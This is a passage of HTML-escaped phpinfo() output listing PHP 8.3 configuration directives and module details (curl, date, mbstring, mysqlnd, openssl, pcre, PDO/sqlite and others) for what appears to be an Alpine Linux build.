&lt;tr&gt;&lt;td class="e"&gt;xmlrpc_errors&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.assertions&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.detect_unicode&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.enable_gc&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.exception_ignore_args&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.exception_string_param_max_len&lt;/td&gt;&lt;td class="v"&gt;15&lt;/td&gt;&lt;td class="v"&gt;15&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.max_allowed_stack_size&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.multibyte&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.reserved_stack_size&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.script_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;zend.signal_check&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_ctype" href="#module_ctype"&gt;ctype&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;ctype functions &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_curl" href="#module_curl"&gt;curl&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;cURL support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cURL Information &lt;/td&gt;&lt;td class="v"&gt;8.5.0 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Age &lt;/td&gt;&lt;td class="v"&gt;10 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Features &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;AsynchDNS &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;CharConv &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Debug &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GSS-Negotiate &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;IDN &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;IPv6 &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;krb4 &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Largefile &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libz &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;NTLM &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;NTLMWB &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SPNEGO &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SSL &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SSPI &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;TLS-SRP &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HTTP2 &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GSSAPI &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KERBEROS5 &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;UNIX_SOCKETS &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PSL &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HTTPS_PROXY &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;MULTI_SSL &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BROTLI &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ALTSVC &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HTTP3 &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;UNICODE &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ZSTD &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HSTS &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GSASL &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Protocols &lt;/td&gt;&lt;td class="v"&gt;dict, file, ftp, ftps, gopher, gophers, http, https, imap, imaps, mqtt, pop3, pop3s, rtsp, smb, smbs, smtp, smtps, telnet, tftp, ws, wss &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Host &lt;/td&gt;&lt;td class="v"&gt;x86_64-alpine-linux-musl &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SSL Version &lt;/td&gt;&lt;td class="v"&gt;OpenSSL/3.1.4 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ZLib Version &lt;/td&gt;&lt;td class="v"&gt;1.3.1 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;curl.cainfo&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_date" href="#module_date"&gt;date&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;date/time support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;timelib version &lt;/td&gt;&lt;td class="v"&gt;2022.10 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;&amp;quot;Olson&amp;quot; Timezone Database Version &lt;/td&gt;&lt;td class="v"&gt;2023.4 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Timezone Database &lt;/td&gt;&lt;td class="v"&gt;internal &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Default timezone &lt;/td&gt;&lt;td class="v"&gt;UTC &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;date.default_latitude&lt;/td&gt;&lt;td class="v"&gt;31.7667&lt;/td&gt;&lt;td class="v"&gt;31.7667&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;date.default_longitude&lt;/td&gt;&lt;td class="v"&gt;35.2333&lt;/td&gt;&lt;td class="v"&gt;35.2333&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;date.sunrise_zenith&lt;/td&gt;&lt;td class="v"&gt;90.833333&lt;/td&gt;&lt;td class="v"&gt;90.833333&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;date.sunset_zenith&lt;/td&gt;&lt;td class="v"&gt;90.833333&lt;/td&gt;&lt;td class="v"&gt;90.833333&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;date.timezone&lt;/td&gt;&lt;td class="v"&gt;UTC&lt;/td&gt;&lt;td class="v"&gt;UTC&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_dom" href="#module_dom"&gt;dom&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;DOM/XML &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;DOM/XML API Version &lt;/td&gt;&lt;td class="v"&gt;20031129 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libxml Version &lt;/td&gt;&lt;td class="v"&gt;2.11.7 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HTML Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XPath Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XPointer Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Schema Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;RelaxNG Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_fileinfo" href="#module_fileinfo"&gt;fileinfo&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;fileinfo support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libmagic &lt;/td&gt;&lt;td class="v"&gt;543 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_filter" href="#module_filter"&gt;filter&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Input Validation and Filtering &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;filter.default&lt;/td&gt;&lt;td class="v"&gt;unsafe_raw&lt;/td&gt;&lt;td class="v"&gt;unsafe_raw&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;filter.default_flags&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_hash" href="#module_hash"&gt;hash&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;hash support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Hashing Engines &lt;/td&gt;&lt;td class="v"&gt;md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat murmur3a murmur3c murmur3f xxh32 xxh64 xxh3 xxh128 haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5  &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;MHASH support &lt;/td&gt;&lt;td class="v"&gt;Enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;MHASH API Version &lt;/td&gt;&lt;td class="v"&gt;Emulated Support &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_iconv" href="#module_iconv"&gt;iconv&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv implementation &lt;/td&gt;&lt;td class="v"&gt;libiconv &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv library version &lt;/td&gt;&lt;td class="v"&gt;1.17 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv.input_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv.internal_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;iconv.output_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_json" href="#module_json"&gt;json&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;json support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_libxml" href="#module_libxml"&gt;libxml&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;libXML support &lt;/td&gt;&lt;td class="v"&gt;active &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libXML Compiled Version &lt;/td&gt;&lt;td class="v"&gt;2.11.7 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libXML Loaded Version &lt;/td&gt;&lt;td class="v"&gt;21107 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libXML streams &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_mbstring" href="#module_mbstring"&gt;mbstring&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Multibyte Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Multibyte string engine &lt;/td&gt;&lt;td class="v"&gt;libmbfl &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;HTTP input encoding translation &lt;/td&gt;&lt;td class="v"&gt;disabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;libmbfl version &lt;/td&gt;&lt;td class="v"&gt;1.3.2 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;Multibyte (japanese) regex support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Multibyte regex (oniguruma) version &lt;/td&gt;&lt;td class="v"&gt;6.9.9 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.detect_order&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.encoding_translation&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.http_input&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.http_output&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.http_output_conv_mimetypes&lt;/td&gt;&lt;td class="v"&gt;^(text/|application/xhtml\+xml)&lt;/td&gt;&lt;td class="v"&gt;^(text/|application/xhtml\+xml)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.internal_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.language&lt;/td&gt;&lt;td class="v"&gt;neutral&lt;/td&gt;&lt;td class="v"&gt;neutral&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.regex_retry_limit&lt;/td&gt;&lt;td class="v"&gt;1000000&lt;/td&gt;&lt;td class="v"&gt;1000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.regex_stack_limit&lt;/td&gt;&lt;td class="v"&gt;100000&lt;/td&gt;&lt;td class="v"&gt;100000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.strict_detection&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mbstring.substitute_character&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_mysqlnd" href="#module_mysqlnd"&gt;mysqlnd&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;mysqlnd &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Version &lt;/td&gt;&lt;td class="v"&gt;mysqlnd 8.3.3 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Compression &lt;/td&gt;&lt;td class="v"&gt;supported &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;core SSL &lt;/td&gt;&lt;td class="v"&gt;supported &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;extended SSL &lt;/td&gt;&lt;td class="v"&gt;supported &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Command buffer size &lt;/td&gt;&lt;td class="v"&gt;4096 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Read buffer size &lt;/td&gt;&lt;td class="v"&gt;32768 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Read timeout &lt;/td&gt;&lt;td class="v"&gt;86400 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Collecting statistics &lt;/td&gt;&lt;td class="v"&gt;Yes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Collecting memory statistics &lt;/td&gt;&lt;td class="v"&gt;No &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Tracing &lt;/td&gt;&lt;td class="v"&gt;n/a &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Loaded plugins &lt;/td&gt;&lt;td class="v"&gt;mysqlnd,debug_trace,auth_plugin_mysql_native_password,auth_plugin_mysql_clear_password,auth_plugin_caching_sha2_password,auth_plugin_sha256_password &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;API Extensions &lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_openssl" href="#module_openssl"&gt;openssl&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;OpenSSL support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;OpenSSL Library Version &lt;/td&gt;&lt;td class="v"&gt;OpenSSL 3.1.4 24 Oct 2023 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;OpenSSL Header Version &lt;/td&gt;&lt;td class="v"&gt;OpenSSL 3.1.4 24 Oct 2023 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Openssl default config &lt;/td&gt;&lt;td class="v"&gt;/etc/ssl/openssl.cnf &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;openssl.cafile&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;openssl.capath&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_pcre" href="#module_pcre"&gt;pcre&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;PCRE (Perl Compatible Regular Expressions) Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PCRE Library Version &lt;/td&gt;&lt;td class="v"&gt;10.42 2022-12-12 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PCRE Unicode Version &lt;/td&gt;&lt;td class="v"&gt;14.0.0 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PCRE JIT Support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PCRE JIT Target &lt;/td&gt;&lt;td class="v"&gt;x86 64bit (little endian + unaligned) &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;pcre.backtrack_limit&lt;/td&gt;&lt;td class="v"&gt;1000000&lt;/td&gt;&lt;td class="v"&gt;1000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;pcre.jit&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;pcre.recursion_limit&lt;/td&gt;&lt;td class="v"&gt;100000&lt;/td&gt;&lt;td class="v"&gt;100000&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_pdo" href="#module_pdo"&gt;PDO&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;PDO support &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PDO drivers &lt;/td&gt;&lt;td class="v"&gt;sqlite &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_pdo_sqlite" href="#module_pdo_sqlite"&gt;pdo_sqlite&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;PDO Driver for SQLite 3.x &lt;/td&gt;&lt;td class="v"&gt;enabled &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SQLite Library &lt;/td&gt;&lt;td class="v"&gt;3.44.2 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_phar" href="#module_phar"&gt;Phar&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
